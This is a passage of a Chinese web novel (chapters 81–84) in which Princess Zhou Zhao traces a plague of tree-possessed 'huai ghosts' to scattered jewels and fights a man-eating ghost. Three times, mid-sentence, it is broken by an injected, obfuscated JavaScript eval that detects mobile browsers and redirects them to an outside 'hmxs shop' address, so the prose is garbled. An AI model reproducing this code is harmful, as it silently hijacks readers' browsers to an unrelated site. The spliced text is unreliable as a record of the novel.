“你——” “你是什么狗东西,也配跟我说话。” 李勇没料到兰令仪如此嚣张跋扈,但也知道凭自己的官职,没有资格跟这位将军叫嚣。于是强自咽下这口气,躲远些不说话了。 兰令仪甩完这一鞭子,身后副将驱马上前,低头说了句:“将军,咱们五六年没回来,还是别惹事得好,快些进城罢。” 兰令仪不大爽利地皱了皱眉,一甩马鞭,身后军队随她而去。 路过折杞身边时,兰令仪道:“那人拉去埋了,晦气。” 等这阵尘土飞扬的马蹄声远了,折杞方走到李勇身边,问道:“大人,你还好吗?” 李勇感激刚才折杞没有揭他的短儿,语气也比刚才收敛不少,答道:“参军,多谢您了。” 折杞摇摇头,又道:“这尸体......” 李勇当即应道:“我去埋!” 李勇挨了一个半鞭子,自然不可能真的动手去埋。他随手指了两名禁军,道:“你们俩,赶紧拉去埋了!” 禁军快步上前抬起尸体,又忍不住眼馋地看了看散落一地的细软财宝,道:“勇哥,咱还去吃酒吗?” 李勇气不打一处来,抬脚踹道:“还吃个屁!你没见兰令仪那婆娘手里的鞭子怎么招呼的?” 有人嘟囔道:“兰将军也太凶神恶煞了吧......” 李勇冷哼道:“怪不得当年霍璋不要她。” 那人缩了缩脖子,小声道:“勇哥,可不敢当着兰将军的面说这话。” 李勇没搭理,转向折杞,笑容满脸道:“参军,实话说咱们才是一家人,日后你见了大殿下,可得好好告上一状!不能沈总督不在了,咱们北衙就任人欺负,是不是?” 城门口这队禁军说着话的功夫,兰令仪带领的这一骑轻骑已经到了盛都城内。 此刻天际刚露出鱼肚白,天光蒙着一层青灰,再有一炷香的时间就是早朝。 兰令仪于宫门前下马,进宫面圣,走了几步,又转身问副将:“阿南,你有没有闻到这城中怎么一股子槐花香?” 阿南道:“闻到了,这一路走来,城中似乎多了不少槐树。” “莫非传言是真的......”兰令仪思忖间,忽然听到一阵叽叽咕咕的笑声,目光寻去却未见人影。 那笑声来得快停得也快,兰令仪让阿南留下查看,自己进宫去了。 等到盛都城上空蒙着的那层青灰被第一缕阳光驱散,沉寂了一整夜的皇城又开始“热闹”起来—— 槐鬼醒了。 南衙桌案上堆着一摞公文,旁边放着一个跟这摞公文很不相称,十分精巧的首饰盒,盒子里放着的,是当日沈博安在莲花楼邀他们前去一观的宝贝:一颗墨绿色的龙睛泪。 “沈博安,到底是怎么弄到这颗珠子的......” 周昭已经足足盯着这颗龙睛泪看了小半个时辰,裴砚进来时,正听见她在自言自语。 “殿下,你怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16942645|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没把这东西丢出去?”他道。 裴砚总跟周昭说他觉得这龙睛泪不吉利,周昭抬头道:“裴砚,你来了,我要的东西带来了吗?” 裴砚将一份文书放在桌案上,道:“殿下,这是你要的名册,里面记录了最先发现变成槐鬼的二十个人。” 周昭拿起文书打开来,裴砚又道:“殿下是要找出源头?” “嗯。”周昭仔仔细细看着,“槐鬼出现得突然,但只要找到源头,我想就能找到彻底消除槐鬼的办法。师父说过,这世上发生的任何事情,都是有迹可循的。槐鬼也一样。” 周昭看完名册,眉头皱得更深,说道:“这二十个人男女皆有,姓氏出身各不相同,似乎没什么共同之处。” 裴砚并不惊讶,这份名册他在交给周昭之前已经看过好几遍。 此时,门外突然传来说话声。 南衙已经许久没人敢如此高声语,不消周昭开口,裴砚已经闪身出去。过了阵子,裴砚进来回话道:“殿下,是兰将军回来了。” “兰将军?” “兰令仪。” 周昭很快想起来镇守南疆的那位女将军,同样不可避免地想起霍璋来,人的好奇心总是如出一辙的,周昭站起身道:“兰将军回来了,我们迎迎去。” 尚未走近便看见一个红衣背影,一个女子的声音说道:“我当犯了什么大罪,原来就是想出城,这也值得一箭射死?” 周昭低声道:“出什么事儿了?” 裴砚答道:“今晨有人想出城,北衙将人杀了,碰巧被兰令仪撞见,兴师问罪来了。” 周昭一边走一边道:“将人杀了?谁下的令?” “还不知道。” “北衙杀了人,怎地到南衙问罪来了?” 正说着话,兰令仪何其敏锐,一早听见脚步声走近,于是回过头来。 周昭此前没见过这位女将军,乍一见,只觉其貌美之余英气逼人,目光之中威慑不弱于霍璋。 都说人的第一印象很重要。加之兰令仪是为一个素昧平生的百姓兴师问罪来的,周昭一眼便喜欢上兰令仪,以礼唤道:“兰将军。” 兰令仪却不怎么看重这礼,淡淡道:“这又是禁军哪位,生得好一张花容月貌。” 这话怎么听也不像是夸奖。 闫斯年道:“兰将军,这位是公主殿下。” “公主殿下?哪个公主殿下?”兰令仪当然知道盛都城还能有哪位公主,但话里话外却尖锐得很。 周昭不明其意,闫斯年却听得清清楚楚,暗自叫苦,好言答道:“自然是当今陛下的独女,明鸢公主了。” 兰令仪略略行礼,道:“不知公主大驾光临,失敬,失敬。”她明目张胆地打量周昭几眼,又道:“公主,您禁军的人滥杀无辜百姓,这事儿怎么算?” 周昭虽然不知道兰令仪的敌意从何而来,仍是温声道:“将军想怎么算?” 兰令仪道:“仗责五十。” 五十仗下去,底子差些的不死也要残。 周昭道:“闫统领,劳烦将来龙去脉仔细说一遍。” 闫斯年说完,周昭眸光一沉,应道:“好,就五十。” 82. 第 82 章 兰令仪来的路上就听说如今周昭是南衙主事,还当她要偏袒,谁知对方一口应承,倒是实实在在愣了一下。 这时,南衙上空又传来阵阵尖笑。 兰令仪蹙眉道:“公主,我这一路听说盛都出了个什么槐鬼,看来是真的了?” 周昭神色凝重,道:“将军回来的不是时候。” 兰令仪见她言辞真切,不禁笑道:“我多年不曾回来,不论有没有槐鬼,只要回来就是好时候。” 她神色从容,言语之中并无惧意,又道:“公主能否带我去看看?” 周昭惊讶道:“将军没在城中看见吗?” 阿南道:“看见了几个,将军非要来南衙再看看。”兰令仪低声斥道:“阿南。” 闫斯年心中跟明镜似的,兰令仪哪里是为看槐鬼,分明就是为了看在霍璋手底下,当了两年副将的明鸢殿下。 周昭是万万想不到这其中的弯弯绕绕,领着兰令仪往校场去。 校场的槐鬼此时都醒的七七八八,周昭小声道:“将军且轻些说话,这些人头耳朵尖,被他们听去一两句好笑的,就要笑个没完。” 兰令仪刚回来,并不是很清楚槐鬼的习性,问道:“这是为何?” 裴砚不耐烦道:“因为等他们笑够了,人头就会掉下来。等人头掉光了,连人带鬼就都死了。” “如此可怕的东西......”阿南忍不住后退两步,兰令仪觉得恶心居多,问道:“沈博安就是这么死的?” 周昭点点头,催促道:“将军,槐鬼到底是怎么传染的还不清楚,待在这儿太危险,快些离开吧。” 兰令仪看着她,不由欣赏道:“公主千金之躯,知此危险还日日守在南衙,现在我相信,两年前孤身前往雪松山送信的人是你了。” 世人都说兰令仪跟霍行野十年前大婚之日反目,死生不复相见,周昭还当霍璋这个名字是兰令仪的禁忌,没想到她远在南疆,连雪松山之困都知道得一清二楚。 兰令仪又问了几句跟槐鬼有关的,当她听到第一个发现的槐鬼,是北苑围猎之时沈博安带的新夫人时,问道:“北苑离盛都城远了去了,你们封锁皇城,难道不怕槐鬼从北苑一路蔓延出去吗?” 周昭道:“说来也奇怪,虽然槐鬼是在北苑最先发现的,但这之后所有的槐鬼都在盛都城内。” 兰令仪自言自语道:“这北苑,跟皇城到底有什么不一样......” 闫斯年道:“北苑人烟稀少,没有槐鬼也很正常吧。” “那就更奇怪了,南衙不是有这么多人吗?怎地你们都平安无事?” 兰令仪心直口快,闫斯年听了心中不大爽利,阴阳怪气道:“谁让咱们身强体健。” 北苑,围猎,陈夫人,观宝会...... 周昭因着兰令仪这么一提醒,找了这么多天的答案忽然间似乎就要呼之欲出。 她激动地一把抓住裴砚,低声叫道:“裴砚,随我去个地方。”又转过身对兰令仪道:“兰将军,我有件十万火急的事儿要去办,先失陪了!” 周昭拉着裴砚走了不远,迎面撞上周驰手下副将,对方见她匆匆要走,忙唤道:“公主殿下哪里去?” 周昭头也不回,小跑着道:“去北门一趟。对了,兰将军,谢谢你!” 周昭跑得很快,连那副将在身后说些什么都没听见。二人出了南衙策马向北,裴砚指着一条大道,“殿下,从这边走离北门更近。” “不,我们先去那名册上那些人家里一趟,我记得他们有几个就住在皇城以北附近,对吗?” 裴砚应了一声,跟上周昭。 等他们下了马找到第一户人家,一进门便看到满眼素色的灵堂布置。 周昭心口发紧,迈出去的脚步也不由自主想往后退,身后就是陪她来的裴砚,周昭又逼着自己往前迈了一步。 灵堂前坐着的老妇人抬起一双哭肿了的眼睛,她认出周昭来,勉强行礼道:“这是……公主殿下来了?” “大娘。”周昭扶起她,跟裴砚二人各自在灵堂前拜了拜,上了支香。 老妇人用袖子擦拭着眼角泪水,说道:“儿啊,你看到了吗?连公主殿下都来祭拜你了。” 沉默了阵子,周昭问道:“大娘,我有件事儿想问问您。” 老妇人急声问道:“莫不是殿下果真寻到对付槐鬼的办法了?”她问完又叹了口气,“可惜我儿无福消受了......” “......”周昭道,“大娘,我想问问北疆军回朝那天,您的儿子有没有上街去看热闹?” 老妇人微微困惑,裴砚补充道:“去年腊月二十五,当晚下了场大雪。” 老妇人回忆起来,喃喃道:“那天好像是有个什么将军的从外头来,听我儿说好像是叫、叫……” “霍璋将军。” “对,是这个名字。哦,原来那天回城的是霍小将军……”她接着道,“我儿那日一早就上街去了,晚上才回来。怎么,公主,这跟槐鬼有关吗?” 老妇人说到最后一句语气急切,周昭握住她的手,温声问道:“大娘,您还记不记得,那日您儿子有没有什么……跟平时不太一样的地方?” “……也没什么不一样的。”老妇人又仔细想了想,“对了,他那天回来跟我说了件怪事儿。” “什么怪事儿?”周昭追问道。 “……说街上呐,有个女娃娃装了一兜子珠宝,见人就发。对!我想起来了,我儿也捡了个宝贝。”老妇人说着,起身从里屋翻翻找找,拿出来一个珠宝匣子,打开里面是一串红珠玛瑙,“公主请看,这就是了。” “我说这东西一看就是有主儿的,让他还回去。”老妇人叹了口气,“谁知我那儿子偷摸着又给藏起来了,我也是昨日才发现。” 周昭又安慰了几句,临走时老妇人紧紧捏着周昭的手,那双带着皱纹的眼睛温暖地注视着她,缓慢说道:“公主,你是在苍界山上,在国师膝下,我们看着长大的,这回也一定能让大周渡过难关,对吗?” 周昭自觉心头有千斤重,一半是周朝百姓的殷切希望,一半是已经故去的江梅棠。 她回握住对方的手,微微一笑,承诺道:“我会的。” 出了灵堂,裴砚突然道:“殿下,你真的觉得……” 周昭侧目道:“裴砚,你不相信我们会渡过这次难关吗?” 裴砚摇摇头:“我不知道。” 周昭轻轻叹气道:“你能说不知道,但我不能。我只能反反复复告诉自己,一切都会好起来的,我不会辜负父皇的期望,不会食言于百姓,也不会让师父失望。” 周昭牵了狼牙,面颊在马脸上亲密无间地蹭了蹭,好在那阵颓废只是在她眼中一闪而过,便又恢复了往日的从容坚定,她展开一个明媚的笑,语气诚恳道:“但我真的相信我们能做到,是吗?裴砚。” 二人几乎同时翻身上马,一样地利落干净。 周昭勒住缰绳,道:“小时候我跟师父说事在人为,不言天命。师父当时说,不是所有事情都能任我握在手中,另一个人……” 周昭陷入回忆,微笑道:“也说我不知天高地厚。但我真的觉得,只要一个人没有死,那么所有事情都不至于到山穷水尽的地步。小时候是这样想,如今也这样想。你要问我对槐鬼一事怎么看,还是那句话,只要我活着一天,就一定要找出破解之法来。” 周昭一口气说了许多,见裴砚盯着她看,弯唇笑道:“裴砚,你是不是也觉得我不知天高地厚?” “殿下很勇敢。” “你不问我为什么?” “我只知道殿下吩咐什么,我就做什么。” 周昭无奈笑道:“裴砚,见你第一面还当你是个活泼性子,怎地如今愈发像个闷葫芦了。” 她扬起马鞭:“驾!” 裴砚少见地笑了笑,同样扬鞭跟上。 到了名册上第二家,最先变成槐鬼的人,果然也在北疆军回朝之时去过北门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947343|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大街,并且从那女娃娃手中得到了一颗珍珠。 至于名册上第三家,则得到了一枚玉石。 周昭神情渐渐凝重,走出几步,突然驻足道:“坏了,我做了件错事儿!” 裴砚尚不及询问,周昭匆忙道:“裴砚,前几日我让你去沈家取那颗龙睛泪,你是怎么拿到的?” “沈博安一死,家产都被他那几个弟弟分了。依殿下的吩咐,我是从沈博安三弟那儿取来的。” “他给你的时候,你碰过没有?”周昭语气急切,面容焦灼,裴砚不由愣住片刻,才道:“......匣子,算吗?” “还好,还好。”周昭轻轻吐出一口气,又道,“裴砚,你现在立刻回南衙,将那颗龙睛泪毁掉。不,你先别走!还是我去办,我去......裴砚,你再好好想想,这几天你有没有碰过那颗珠子?真的没碰到过吗?” 周昭一反常态言辞混乱,裴砚看着她道:“殿下是怀疑槐鬼跟那珠子有关?” “不光是南衙那颗龙睛泪,还有那天北疆军回朝时,那个怀里装满珠宝的女娃娃。”周昭像是说给他听,又像是自言自语,“我真笨!为什么没有早点想到这其中的关联?北苑最先发现槐鬼,但从那之后北苑再也没有一个槐鬼出现。” “南衙校场有那么多槐鬼,但偏偏很少有禁军被传染,不是因为北苑人烟稀少,也不是因为禁军常年习武身体好,是因为禁军那日都在北门列队迎北疆军回朝,根本没人敢去那女娃娃手中抢珠子!” “至于北苑,那里多猎户,没人会去数十里之外的盛都城就为看一眼北疆军,自然也不会接触到那些珠子。” 相较于周昭的慌乱急切,裴砚的表情可以说十分平静。 但周昭一心陷在那些让人眼花缭乱的珠宝里面,无暇顾及裴砚。她在原地转来转去,喃喃自语道:“如果真是那些珠子,是不是只要把它们都毁掉就可以了?可是万一、万一又像上回那样......” 裴砚看不下去,双手轻轻扶住周昭的肩膀,低声道:“殿下,你先别急。” 周昭是身份无比尊贵的公主,裴砚这一举动可以说十分逾矩,但周昭本就不在意虚礼,何况她现在头脑混乱,是没有空再去想裴砚为何跟平时不太一样的。 “殿下如果想毁掉龙睛泪,我现在就去办。” 裴砚语气平静,一丝疑虑终于浮上周昭心头,暗暗想道:“裴砚难道一点儿都不惊讶槐鬼跟这珠子的关联吗?” 但很快,周昭又被槐鬼一事占据了思绪,她冷静下来,道:“不,不能让你冒险。” 周昭思忖道:“裴砚,我们兵分两路。” “你去找闫斯年,将槐鬼跟那女娃娃之间可能有的关联说清楚,让闫统领立刻派人去找那天那个女娃娃,就说是我要找的。” “另外,再拟一封布告,上面就写朝廷要高价回收珠宝,这封布告写好后先不要发出去。我去找大哥商量该怎么办,至于龙睛泪要不要毁,也等我从大哥那儿回来再说。” 周昭这番话说得虽然快,但是条理清晰丝毫不乱,又道:“对了裴砚,那颗龙睛泪你记住,千万千万不能碰,一定不能碰!知道了吗?” 裴砚点点头,二人策马行至北城门。 两侧低矮的屋舍之间延申出一条笔直的大路,日头毒辣,灰尘浮动,路像悬在半空似的并不真切。 沿着大路再往南走就是南衙,往东则是平南王府。 这时,突然传来一声突兀的尖叫。 这尖叫跟平时听惯了的槐鬼笑声并不同,不是开心到极点的笑声,而是恐惧到极致的叫声。 周昭刚去北疆大营时,偶尔会在战场上听见这种声音,她循声望去,又策马往前走,低声道:“裴砚,你听。” “我去看看。” 不待裴砚□□马蹄调转方向,一个满头满脸都是血的男人,从大路尽头一间屋子里踉踉跄跄跑出来,一边跑一边喊道: “吃、吃人了!槐鬼,吃人了!!!” 83. 第 83 章 男人面色惨白如纸,一边跑一边回头张望,但他似乎瘸了一条腿,跑起来东倒西歪。 “他在喊什么?” “太远了,没听清。” “裴砚,你先回南衙,我看看去。”周昭勒住缰绳,“驾!” 男人显然也看到了周昭他们,就好像看见了什么活救星,表情抽搐简直要喜极而泣了,远远地举起双手挥舞道:“救——” 但他这一声求救没能说完整,身后那间房子里突然蹿出来一个东西拽住男人的腿。 速度极快,像一道黑色的闪电,将他整个人一下子拖进去,消失在周昭眼前了。 那东西又细又长,好似看见猎物时探出脑袋的毒蛇,也像一条柔韧结实的软鞭。 狼牙就像知道前面有什么危险的东西,马蹄往后退了几步,周昭弯腰在马头上爱怜地摸了几下,命令道:“狼牙,快带我去!” 马儿刚奔至大路尽头,周昭便急不可耐地从马背上跳下来,朝刚才男人消失的地方走去,边走边叫道:“有人在吗?” 回应她的是门后一阵细细簌簌、咔哧咔哧的响声。 这响声十分诡异,加之地上血迹斑斑,周昭不由警惕起来。 她小心翼翼推开半掩的门,一阵恐惧瞬间摄住心脏。 院内一棵参天槐树,上面挂着一颗闭目养神的人头,树干上是一张人脸。 槐鬼上的人脸周昭见过无数,脸上的表情有恐慌,有害怕,有愤怒,却从没见过像现在这样。 一张满眼泛着可怖精光的脸。 刚才呼救的男人被槐树藤曼紧紧缠绕住,一条腿从腰间撕开倒挂在树梢上,另外的半副身体则正在被送进一张血盆大口。 刚才周昭听见的响声,就是槐鬼咬碎人骨头的声音。 男人显然还没有死透,但他的嘴巴已经发不出刚才那样嘹亮的呼喊声,只能勉强一张一合,鲜血从他唇边满溢出来。 但周昭看懂了,他是在说:“救、救我......” 至于槐鬼,则对周昭的到来视而不见。他大嚼特嚼,吃得满嘴是血津津有味。 周昭浑身直冒冷汗,愣在原地好一会儿,才想起来拔剑。 隐隐发抖的手摸向腰间,却摸了个空。 只听铛地一声,一把雪白利刃从身后飞过去钉在那槐鬼脸上。 这一剑直中眉心,槐鬼惨叫一声,手里的半个尸体掉下来。 他像是才看到周昭二人,难以置信道:“你、杀我......” 树梢上的人头偏偏在这时候醒过来,叽叽咯咯地发出古怪的笑声。 裴砚走近拔出剑,又毫不留情地将那人头斩下来,笑声从枝头落进土里,很快化成一滩血水。 眼前红色的人血跟绿色的槐树血混合在一起,散发出一股十分恶臭的腥味儿。 “......裴砚,我们杀了个人。”周昭惊魂未定道。 “不。”裴砚摇摇头,“跟殿下没关系,是我杀的。” 他将剑上的血擦干净,看了周昭一眼,欲言又止。 二人从这条路又往回走,头顶烈日,让人心烦意乱。周昭本以为就快要找到一线希望,又因为突如其来的插曲,而让这本就不甚明晰的希望,再次笼罩在无边无际的阴影里。 “裴砚,你说槐鬼为什么要吃人?”她问。 “不知道。也许是饿了吧,饥不择食。” 周昭又问道:“刚才你有话要说,是什么?” “......”裴砚道,“殿下,你觉得槐鬼是人吗?” 周昭错愕道:“难道不是吗?他们变成槐鬼之前,都是活生生的人。” “那是在变成槐鬼之前。”裴砚轻轻扯着缰绳,“变成槐鬼之后呢?殿下,你听说过要吃人肉的人吗?见过身上长满人头的人吗?刚才那槐鬼已经丧失了人性,这样的东西,不能算人。” 周昭听出他话外之音,问道:“裴砚,你是不是从没想过,能把这些槐鬼变成原本的样子?” 因为压根不抱任何希望,所以对那些可疑的珠子,城中出现的女娃娃都不感兴趣。 周昭在北衙跟平南王府都没有找到周驰,连他那位从影随行的副将肖季言都不在府中。 大哥的副将,早上不就在南衙吗? 周昭隐约觉得她跟周驰有什么重要的事情刚好错开,于是调转马头回到南衙,却被闫斯年告知周驰也不在这里。 不光如此,整个南衙上上下下都隐隐透着股诡异而紧张的氛围,跟她早上离开时截然不同。 “殿下,您吩咐的事情都办好了,裴砚兄弟带兵找那孩子去了。至于您要的布告也已经拟好,现在要看看吗?”闫斯年说道。 周昭粗略看了眼布告,问道:“早上肖将军来南衙,所为何事?” 闫斯年目光躲闪,周昭愈发觉得不对,追问之下,闫斯年才吞吞吐吐道:“......肖将军来是想告诉殿下,槐鬼、槐鬼好了。” 周昭惊愕道:“好了?” “就是有个槐鬼突然间……他就好了,变成人了。” “真的?闫统领,这是天大的好事儿啊!”周昭激动道,“您该早点儿告诉我,那槐鬼在哪儿?怎么好的?” “因为对槐鬼来说是好事儿,对朝廷来说,实在是......不算好事儿。” 闫斯年这话说得云山雾绕,周昭听得着急,恰好折杞从外头走进来,他本是领着李勇来南衙求情的,被周昭抓了个正着,问道:“折杞,你来说到底怎么回事儿?大哥也找不到,他去哪儿了?” 折杞目光茫然道:“大殿下进宫去了,为的什么我不清楚,兴许是槐鬼吃人的事儿吧。怎么了,昭姐姐。” 槐鬼吃人不是刚发生的事儿吗,大哥这么快就知道了? “我来说!刚才殿下问我槐鬼是怎么好的,就是吃了人才好的!” 看着周昭惊愕的表情,闫斯年一鼓作气道:“殿下,北衙昨日不是有个叫李勇的,杀了名想要私自出城的百姓嘛。本来从前这种事儿也不是没有,李勇他们杀了人抢了钱财,都往乱葬岗一扔。但那天兰将军路过,甩了李勇几鞭子,李勇才把人好生拉去埋了。” “但巧就巧在,晚上黑灯瞎火看不清楚,李勇那厮埋人的地方,刚好有个新长出来的槐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951351|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼。那槐鬼不知怎么着了魔,等李勇他们走了,竟然把刚死的人挖出来吃了。” “谁知这一吃完,过了两日槐鬼突然好了!” 闫斯年本来也没想瞒,只是觉得此事过于离谱,连他自己都不大相信,不想说出来让周昭空欢喜一场。 “吃人就能好?” 闫斯年不置可否,心说万一真能吃人就好,那盛都城岂不乱了大套! 周昭又问:“这件事除了我们几个,还有谁知道?” 闫斯年露出一个苦不堪言的表情,周昭顿时明白这件事儿算是没瞒住。 折杞道:“昭姐姐,南北衙门禁军共有三万有余,大殿下又进宫去了,我看还是早做打算的好。” 闫斯年侧目道:“参军的意思,是要南北禁军都去守着槐鬼,不让他们吃人?” 闫斯年这话本来没什么,但落在折杞耳朵里就好像在说他管得太宽似的。他心思敏感,不由面色微红,没有吭声。 周昭表示赞同,道:“三万禁军太引人注目,莫说盛都城的槐鬼加起来也没有这么多,就算真有,动用禁军超过两百,一是要总督手中那块兵符,二是要兵部亲自下发的调兵文书。如今我们两手空空,人手有限......” 闫斯年立刻道:“兵部我熟,从前干杂活儿常去拿文书。” “好。闫统领,还劳烦您先将南衙现在余下的人清点清点,分别守在四条主干道上,人多的地方五步一人,人少的地方十步、或是二十步一人。禁军都要穿甲佩剑,尤其要提防,不能站得离槐鬼太近,小心那些会动的藤曼。如果有槐鬼敢吃人......” 周昭说到这里停顿片刻,闫斯年道:“殿下,吃人怎么办?” “先救人。” “万一......” “那就杀掉槐鬼。”周昭言辞果断,蹙着眉轻轻摇头道,“闫统领,最好是不要有这种二选一的情况。等这两百人派出去了,您去兵部取文书,我进宫去找大哥,一个时辰,不,半个时辰后在南衙碰头。统领,意下如何?” 周昭安排得有条不紊,军令果断,闫斯年不由对眼前这位公主愈发刮目相看,应了一声,即刻出门去办了。 至于折杞,他从小就仰慕周昭,时至今日也未曾变过。 他心中激荡,竟连自己来的正事儿给忘了,道:“昭姐姐,既然人手不够,我也可以去当守卫!” 周昭笑了笑,温声道:“折杞,有件更重要的事情需要你帮忙。” 她转身将桌上的布告拿起来,又仔细读了一遍,改了其中几句容易起疑的话,道:“你照着这上面的,在城内人最多的地方,尤其是北门,贴上几份布告。” 折杞通读一遍:“收珠宝......莫非是那龙睛泪!” 周昭手指放在唇上做了个噤声的手势,低声道:“尚未定论,莫要走漏风声,那便真的乱套了。” 折杞应道:“知道了,昭姐姐。” 望着折杞离去的背景,周昭忍不住有几分惋惜。 折杞聪慧,却因着身份这一层难有机遇,若能平安度过此劫,得找个机会向父皇引荐引荐。 84. 第 84 章 宫内不能纵马,周昭这一路走得急,光洁的额头上渗出些细细密密的汗珠子。 管事公公在前面带路,周昭嫌他走得慢,听见承乾殿三个字便匆匆忙忙跑去了。 那位公公甩了甩手中拂尘,哭笑不得道:“这位公主殿下......” 周昭哪里听得见这句,她风风火火到了承乾殿,肖季言正守在殿外。趁宫人进去通禀的空隙,周昭问道:“肖将军,大哥来找父皇有什么事儿吗?” 肖季言年纪跟霍璋差不多大,出身却没有霍璋好,长了一双只吃饭不说话的嘴,眉眼冷漠刚毅,忠心二字都写在那张黝黑的脸上。 周昭与肖季言有过几面之缘,自觉问得不算突兀,肖季言却只摇头。不待他回答,宫人片刻后又回来,说:“公主殿下,陛下请您进去。” 周昭进了殿,脚步不由放缓了些,不再像刚才那么急躁。 “朕允了,去办吧。”宣庆帝的声音遥遥传来,紧跟着是周驰谢恩的声音。 周昭没来得及细想,见到周驰要走,急忙跑上前下意识地拉住他衣袖,唤道:“大哥,你等等我。” 周驰看了眼宣庆帝,小声道:“小妹,大殿上拉拉扯扯,成何体统。” 宣庆帝久未看见这一双儿女,就算心中有些身为帝王不可告人的打算,此刻也只会因为眼前这一场景心生慰藉,竟有几分天伦之乐的意味来。 他少见地微笑道:“明鸢,还跟儿时一个样儿。” 周昭不好意思地收回手,解释道:“父皇,实在是有一事万分火急,才让大哥等等儿臣。” 宣庆帝道:“明鸢是为槐鬼吃人而来吧,驰儿来找朕也是为了此事,你们想调用禁军,朕已经准了。” 周昭错愕道:“原来大哥也......” 周驰道:“小妹莫不是取笑我愚蠢,连这层利害关系都不知道?” 周昭忙道:“明鸢不是这个意思,既然大哥已经办妥了,那自然再好不过了。” “朕乏了,这件事交给你们兄妹办去吧。七日之后,朕希望看到一个好的结果。” 周昭跟在周驰身后走出承乾殿,心道:“大哥自己就是总督,调用禁军只需要去兵部办一张文书,怎地来找父皇了?还去了这么久?” 周驰从怀里取出兵符跟文书,一并交给周昭,周昭不明其意,周驰道:“小妹,你来找我不就是为了这两样东西吗?拿着调兵去吧。” 肖季言若有若无地看了周驰一眼,周昭犹疑接过,问道:“大哥,你呢?” 周驰道:“我去刑部一趟,季言,你跟我来。” 肖季言点头跟上,周昭心道:“这位肖将军,还真是不爱说话。” 她拿了兵符跟文书,马不停蹄又往南衙跑,先找到闫斯年调兵,再去找北衙统领陈子明商量两边轮班守卫之事。 自打出了槐鬼一事,陈子明就待在北衙没出来过,对南衙的人都唯恐避之不及。 如今周昭携兵符而来,却不敢不见,按吩咐一一照办。 从北衙出来已经是深夜,这一天发生了太多事情,周昭累得头脑发昏,牵了狼牙沿着河道缓慢地走。 从前这条河总是落满灯火,像一条贯穿皇城的五色玉带。两岸热闹非凡,既有南疆来的外域商人贩卖布匹,也有汴江来的杂耍舞得欢快,至于各类珠宝玉器,则更是让人眼花缭乱。 可如今冷冷清清,唯有河水沉默着向东流去,那流淌着的墨色再也不复从前华彩...... 周昭走了十余步,忽然觉得自己还有件事儿没有办。 她驻足片刻,却始终想不起来到底是什么事儿。这时余光瞥见对岸一家玉石坊,顿时明了。 珠子,我竟忘了南衙还放着一颗龙睛泪! 周昭没察觉到河岸边一根黑色的枝条,正神不知鬼不觉地朝她背后伸过来。 那槐鬼隐在岸边几棵大树之后,天色昏暗,路过的人非得打起十二分注意力,才能注意到他的存在。 周昭此时此刻疲倦不堪,全部心思都悬在那颗龙睛泪上,直到槐树藤曼倏地一下往她腰上缠去,周昭才下意识地跳开几步远,但已经来不及了。 另一根藤曼以同样迅疾的速度缠住周昭脚腕,周昭只感觉脚底一空,继而一阵天旋地转,浑身的血都朝脸上涌去。 她头朝下脚朝上,因此蓦地看见槐鬼那张倒着的脸时,忍不住发出一声惊呼。 不知道槐鬼有没有认出周昭来,不过认不认得出来都不重要了,在这么个四下无人的偏僻地方,公主也好平民也罢,在槐鬼眼中都只是一顿美味,以及一个能换回生还机会的解药。 槐鬼语气怪异又兴奋道:“嘿嘿,抓到你啦!抓到你啦!!” 这张脸跟周昭下午看见的并无分别,一样的双眼猩红目露狂热,嘴角流涎吞咽不止,简直恨不得立刻就要把手中的食物一整个活吞下去。 “放开!” 周昭刚想去摸腰间的剑,两只手就被槐鬼双双缚住。 见主人有难,狼牙嘶鸣一声,扬起前蹄向槐鬼踹过去,一根粗壮的枝条挥动自如,就算是兰将军手中的软鞭也不见得能比过槐鬼了。 毕竟,这槐树就是他的身体。 只见这一鞭抽在马腹,登时抽出一条醒目的血痕。 周昭心疼万分,叫道:“狼牙!” 人头惊醒,笑声错落而起。 周昭耳边萦绕着无数尖利的笑声,睁眼便看到悬挂着的人头,和那宛如白骨森森的牙齿。 正欲呼救,那槐鬼却聪明极了,用枝条将她口鼻都绑了个严严实实。 不行,这样下去不被吃掉也得窒息而死! 周昭冷静下来,闭上眼睛不再挣扎。 槐鬼见状大喜,浑身枝叶颤抖着将周昭送入口边。 笑声越来越近,越来越近...... 就是现在! 周昭猛地睁开眼,在半空中抬起腿,膝盖弯曲狠踹在槐鬼脸上。 虽然膝盖的力道远不及绑住的脚,但用来踹脸已经足够了。 